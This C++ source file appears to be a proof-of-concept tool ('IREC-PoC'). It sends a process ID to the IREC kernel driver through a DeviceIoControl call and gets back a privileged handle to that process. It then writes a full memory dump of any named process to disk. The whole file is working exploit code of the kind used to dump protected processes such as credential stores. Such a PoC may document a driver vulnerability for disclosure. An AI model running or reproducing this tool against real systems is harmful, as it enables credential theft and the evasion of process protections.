|
#include <windows.h> |
|
#include <iostream> |
|
#include <dbghelp.h> |
|
#include <TlHelp32.h> |
|
|
|
|
|
#define IOCTL_BASE 0x80012008 |
|
constexpr DWORD IREC_IOCTL(DWORD x) { return IOCTL_BASE + x; } |
|
#define IOTCL_IREC_OPEN_PROCESS IREC_IOCTL( 0x20 ) |
|
static const char* DeviceName = R"(\\.\IREC)"; |
|
|
|
typedef struct _IREC_OPEN_PROCESS { |
|
DWORD pid; |
|
} IREC_OPEN_PROCESS, * PIREC_OPEN_PROCESS; |
|
|
|
|
|
DWORD GetProcessIdByName(const std::wstring & processName) { |
|
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); |
|
PROCESSENTRY32 pEntry; |
|
pEntry.dwSize = sizeof(pEntry); |
|
|
|
BOOL hRes = Process32First(hSnapShot, &pEntry); |
|
while (hRes) { |
|
if (wcscmp(pEntry.szExeFile, processName.c_str()) == 0) { |
|
CloseHandle(hSnapShot); |
|
return pEntry.th32ProcessID; |
|
} |
|
hRes = Process32Next(hSnapShot, &pEntry); |
|
} |
|
|
|
CloseHandle(hSnapShot); |
|
return 0; // If process is not found return 0 |
|
} |
|
|
|
std::wstring StringToWString(const std::string & s) { |
|
int len; |
|
int slength = (int)s.length() + 1; |
|
len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0); |
|
wchar_t* buf = new wchar_t[len]; |
|
MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len); |
|
std::wstring r(buf); |
|
delete[] buf; |
|
return r; |
|
} |
|
|
|
constexpr DWORD cexpr_lstrlenW(const wchar_t str[]) { |
|
DWORD i = 0; |
|
while (str[i++]) {} |
|
return i; |
|
} |
|
|
|
void DumpProcess(const std::string & processName, const std::string & dumpFilePath) { |
|
|
|
std::wstring wideProcessName = StringToWString(processName); |
|
|
|
HANDLE hDevice = INVALID_HANDLE_VALUE; |
|
BOOL bResult = FALSE; |
|
BOOL bDumpResult = FALSE; |
|
HANDLE hProcess = NULL; |
|
DWORD dwBytesReturned; |
|
|
|
DWORD processId = GetProcessIdByName(wideProcessName); // Replace with actual function to get PID from process name |
|
|
|
hDevice = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); |
|
|
|
if (hDevice == NULL) { |
|
printf("Failed to open device.\n"); |
|
return; |
|
} |
|
|
|
IREC_OPEN_PROCESS openProcess; |
|
openProcess.pid = processId; |
|
|
|
bResult = DeviceIoControl(hDevice, IOTCL_IREC_OPEN_PROCESS, &openProcess, sizeof(DWORD), &openProcess, sizeof(HANDLE), &dwBytesReturned, NULL); |
|
|
|
if (!bResult) { |
|
printf("DeviceIoControl failed with error: %d\n", GetLastError()); |
|
return; |
|
} |
|
|
|
hProcess = (HANDLE)openProcess.pid; |
|
|
|
processId = GetProcessId(hProcess); |
|
if (processId == 0) { |
|
printf("Failed to get process ID. Error: %lu\n", GetLastError()); |
|
return; |
|
} |
|
|
|
printf("[*] %s Process ID: %lu\n", processName.c_str(), processId); |
|
|
|
if (!hProcess || hProcess == INVALID_HANDLE_VALUE) { |
|
printf("Invalid process handle: %p\n", hProcess); |
|
return; |
|
} |
|
|
|
HANDLE hFile = CreateFileA(dumpFilePath.c_str(), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); |
|
|
|
if (hFile == INVALID_HANDLE_VALUE) { |
|
DWORD dwError = GetLastError(); |
|
printf("CreateFileA failed with error: %lu\n", dwError); |
|
return; |
|
} |
|
|
|
bDumpResult = MiniDumpWriteDump(hProcess, 0, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL); |
|
if (!bDumpResult) { |
|
DWORD dwError = GetLastError(); |
|
printf("Dump failed with error: %lu\n" + dwError); |
|
} |
|
else { |
|
printf("[*] Dump succeeded.\n"); |
|
} |
|
CloseHandle(hProcess); |
|
CloseHandle(hFile); |
|
} |
|
|
|
void ShowHelp() { |
|
printf("Usage: program [command] [arguments]\n"); |
|
printf("Here are the available commands:\n"); |
|
|
|
printf("\tdump <process name> <file path>: Dump a process memory into a file.\n"); |
|
printf("\t\tExample: IREC-PoC.exe dump process.exe C:\\temp\\dumpfile.dmp\n"); |
|
|
|
printf("If no command is provided, the help menu will be displayed.\n"); |
|
} |
|
|
|
int main(int argc, char* argv[]) { |
|
if (argc < 2) { |
|
ShowHelp(); |
|
return -1; |
|
} |
|
|
|
std::string command = argv[1]; |
|
|
|
if (command == "dump") { |
|
if (argc < 4) { |
|
printf("Please provide a process name and a dump file path with the dump command.\n"); |
|
return -1; |
|
} |
|
std::string processName = argv[2]; |
|
std::string dumpFilePath = argv[3]; |
|
DumpProcess(processName, dumpFilePath); |
|
} |
|
else { |
|
ShowHelp(); |
|
return -1; |
|
} |
|
|
|
return 0; |
|
} |